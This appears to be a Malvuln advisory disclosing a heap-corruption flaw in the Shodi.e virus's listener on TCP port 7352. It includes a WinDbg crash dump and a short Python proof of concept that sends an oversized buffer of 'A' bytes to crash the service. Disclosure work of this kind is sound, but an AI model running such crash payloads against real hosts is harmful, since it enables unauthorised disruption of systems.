Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/37d4a5ba123dd32f1e2c4ba0be14e77c_C.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Virus.Win32.Shodi.e Vulnerability: Heap Corruption Description: The virus listens on TCP port 7352. Third-party attackers who can reach the server can send a specially crafted payload causing a heap corruption. Type: PE32 MD5: 37d4a5ba123dd32f1e2c4ba0be14e77c Vuln ID: MVID-2021-0281 Dropped files: Explorer.eXE,Explorer.usr,r_server.exe ASLR: False DEP: False Safe SEH: True Disclosure: 07/03/2021 Memory Dump: (1870.1494): C++ EH exception - code e06d7363 (first/second chance not available) eax=00000000 ebx=00000000 ecx=00000003 edx=00000000 esi=00000003 edi=00000003 eip=77daed3c esp=04b7f4d4 ebp=04b7f664 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 ntdll!ZwWaitForMultipleObjects+0xc: 77daed3c c21400 ret 14h 0:007> .ecxr eax=04b7fe10 ebx=04b7fec0 ecx=00000003 edx=00000000 esi=750c3d38 edi=7373f910 eip=75ec08f2 esp=04b7fe10 ebp=04b7fe68 iopl=0 nv up ei pl nz ac po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212 KERNELBASE!RaiseException+0x62: 75ec08f2 8b4c2454 mov ecx,dword ptr [esp+54h] ss:002b:04b7fe64=c54505cd 0:007> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Explorer.eXE *** ERROR: Module load completed but symbols could not be loaded for Explorer.eXE Failed calling InternetOpenUrl, GLE=12029 FAULTING_IP: KERNELBASE!RaiseException+62 75ec08f2 8b4c2454 mov ecx,dword ptr [esp+54h] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 75ec08f2 (KERNELBASE!RaiseException+0x00000062) ExceptionCode: e06d7363 (C++ EH exception) ExceptionFlags: 00000001 NumberParameters: 3 Parameter[0]: 19930520 Parameter[1]: 04b7fec0 Parameter[2]: 7373f910 PROCESS_NAME: Explorer.eXE ERROR_CODE: (NTSTATUS) 0xe06d7363 - <Unable to get error code text> EXCEPTION_CODE: (NTSTATUS) 0xe06d7363 - <Unable to get error code text> EXCEPTION_PARAMETER1: 19930520 EXCEPTION_PARAMETER2: 04b7fec0 EXCEPTION_PARAMETER3: 7373f910 MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 00001494 DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun LAST_CONTROL_TRANSFER: from 750fa222 to 75ec08f2 STACK_TEXT: 04b7fe68 750fa222 e06d7363 00000001 00000003 KERNELBASE!RaiseException+0x62 04b7feb0 7369679b 04b7fec0 7373f910 737542e8 msvcrt!_CxxThrowException+0x72 04b7fec4 7368f3c7 0000041d 00000200 00000410 mfc42!AfxThrowMemoryException+0x1b 04b7fee4 7368f103 0000041d 0019fea4 73757b18 mfc42!operator new+0x1a467 04b7ff00 73678abf 00000410 004051ec 00000410 mfc42!CString::AllocBuffer+0x16933 04b7ff1c 7369e5bc 00000410 04940488 00000000 mfc42!CString::GetBuffer+0x2f 04b7ff30 7369e474 004051d4 04b7ff50 04b7ff80 mfc42!CString::FormatV+0x2c 04b7ff40 00401814 0019fea4 004051d4 73757b24 mfc42!CString::Format+0x14 WARNING: Stack unwind information not available. Following frames may be wrong. 04b7ff80 755a8654 00000000 755a8630 757b7853 Explorer+0x1814 04b7ff94 77da4a77 00000000 c27680bf 00000000 kernel32!BaseThreadInitThunk+0x24 04b7ffdc 77da4a47 ffffffff 77dc9ec5 00000000 ntdll!__RtlUserThreadStart+0x2f 04b7ffec 00000000 0040173a 00000000 00000000 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: !heap ; ~7s; .ecxr ; kb FOLLOWUP_IP: mfc42!AfxThrowMemoryException+1b 7369679b cc int 3 SYMBOL_STACK_INDEX: 2 SYMBOL_NAME: mfc42!AfxThrowMemoryException+1b FOLLOWUP_NAME: MachineOwner MODULE_NAME: mfc42 IMAGE_NAME: mfc42.dll DEBUG_FLR_IMAGE_TIMESTAMP: d94bc78 FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_e06d7363_mfc42.dll!AfxThrowMemoryException BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_mfc42!AfxThrowMemoryException+1b Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=7352 def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) PAYLOAD="A"*9402 s.send(PAYLOAD) s.close() print("Virus.Win32.Shodi.e / Heap Corruption") print("MD5: 37d4a5ba123dd32f1e2c4ba0be14e77c") print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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